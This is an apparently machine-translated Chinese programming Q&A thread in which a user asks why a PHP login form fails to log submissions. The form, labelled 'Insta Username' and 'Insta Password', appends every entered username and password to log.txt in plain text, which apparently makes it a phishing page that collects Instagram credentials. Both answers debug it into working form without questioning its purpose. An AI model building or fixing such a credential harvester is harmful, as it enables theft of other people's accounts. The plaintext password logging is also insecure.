我正在尝试为我的登录网站创建一个日志,但我无法让它下面的PHP运行正常。
代码:
<form method="POST" name="submit" align="center">
Insta Username: <input type="text" name="user">
<p>Insta Password: <input type="password" name="pass" action="error.html">
</p>
<button>Submit</button>
</form>
<?php
$ussern = $_POST['user'];
$passw = $_POST['pass'];
$fp = fopen('log.txt', 'a');
fwrite($fp, "[Username: ".$ussern."] [Password: ".$passw."]".PHP_EOL);
?>
问题在于此输入
我得到了这个输出
答案 0 :(得分:0)
更新这些可行的行
<form action="" method="POST" name="submit" align="center">
<button type="submit"></button>
答案 1 :(得分:0)
这一定是因为您在提供 GET 请求或 POST 请求时未检查代码是否正在运行。另外,表单标签和提交按钮中没有操作字段。可能会有用。
<form method="POST" name="submit" align="center" action="">
Insta Username: <input type="text" name="user">
<p>Insta Password: <input type="password" name="pass" action="error.html">
</p>
<button type="submit">Submit</button>
</form>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$ussern = $_POST['user'];
$passw = $_POST['pass'];
$fp = fopen('log.txt', 'a');
fwrite($fp, "[Username: ".$ussern."] [Password: ".$passw."]".PHP_EOL);
fclose($fp);
}
?>